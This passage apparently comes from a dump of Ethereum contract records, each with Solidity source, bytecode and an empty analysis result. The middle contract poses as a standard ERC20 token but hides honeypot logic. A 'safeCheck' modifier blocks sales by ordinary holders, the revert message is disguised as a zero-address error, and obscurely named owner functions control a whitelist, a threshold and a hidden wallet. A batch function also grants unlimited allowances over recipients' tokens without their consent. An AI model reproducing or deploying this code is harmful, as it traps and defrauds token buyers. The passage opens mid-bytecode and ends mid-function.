2915050565b6000611bed601c836123a5565b91507f43616c6c6572206973206e6f7420746865207465616d77616c6c6574000000006000830152602082019050919050565b6000611c2d6026836123a5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c936022836123a5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611cf96026836123a5565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611d5f6025836123a5565b91507f43616e6e6f7420736574207465616d77616c6c6574206173207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611dc56028836123a5565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e2b6020836123a5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611e6b601e836123a5565b91507f496e636c7564696e6720666f7220746865207a65726f206164647265737300006000830152602082019050919050565b6000611eab6033836123a5565b91507f446f6573206e6f7420686176652074686520726571756972656420616d6f756e60008301527f74206f6620746f6b656e7320746f206275726e000000000000000000000000006020830152604082019050919050565b6000611f11601e836123a5565b91507f4578636c7564696e6720666f7220746865207a65726f206164647265737300006000830152602082019050919050565b6000611f516024836123a5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611fb76025836123a5565b91507f496e6372656173696e6720616c6c6f77616e636520666f72207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061201d6025836123a5565b91507f44656372656173696e6720616c6c6f77616e636520666f72207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120836025836123a5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6120e58161247e565b82525050565b6120f481612488565b82525050565b600060208201905061210f6000830184611b89565b92915050565b600060408201905061212a6000830185611b89565b6121376020830184611b89565b9392505050565b60006040820190506121536000830185611b89565b61216060208301846120dc565b9392505050565b600060208201905061217c6000830184611b98565b92915050565b6000602082019050818103600083015261219c8184611ba7565b905092915050565b600060208201905081810360008301526121bd81611be0565b9050919050565b600060208201905081810360008301526121dd81611c20565b9050919050565b600060208201905081810360008301526121fd81611c86565b9050919050565b6000602082019050818103600083015261221d81611cec565b9050919050565b6000602082019050818103600083015261223d81611d52565b9050919050565b6000602082019050818103600083015261225d81611db8565b9050919050565b6000602082019050818103600083015261227d81611e1e565b9050919050565b6000602082019050818103600083015261229d81611e5e565b9050919050565b600060208201905081810360008301526122bd81611e9e565b9050919050565b600060208201905081810360008301526122dd81611f04565b9050919050565b600060208201905081810360008301526122fd81611f44565b9050919050565b6000602082019050818103600083015261231d81611faa565b9050919050565b6000602082019050818103600083015261233d81612010565b9050919050565b6000602082019050818103600083015261235d81612076565b9050919050565b600060208201905061237960008301846120dc565b92915050565b600060208201905061239460008301846120eb565b92915050565b600081519050919050565b600082825260208201905092915050565b60006123c18261247e565b91506123cc8361247e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612401576124006124c8565b5b828201905092915050565b60006124178261247e565b91506124228361247e565b925082821015612435576124346124c8565b5b828203905092915050565b600061244b8261245e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156124b3578082015181840152602081019050612498565b838111156124c2576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b61251181612440565b811461251c57600080fd5b50565b6125288161247e565b811461253357600080fd5b5056fea2646970667358221220d6af4e7771ab002895349108a7114a4af9f406a02bc623c4c6ee685f1c99c94264736f6c63430008000033 | {"success": true, "error": null, "results": {}} | 976 |
0xcb1427add2b5be25dfff7043f2de8204a0d37ad4 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_KEL(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203be5f24f9fb5f94097102e577ce0df4ce051817b2329b67ea6850dd6b20f271f64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 977 |
0xe64a853ed70cdb8c1d1e3e42552ae1c70dbb9b00 | pragma solidity ^0.6.0; interface ERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)
external
returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(ERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*/
function safeApprove(ERC20 token, address spender, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(ERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
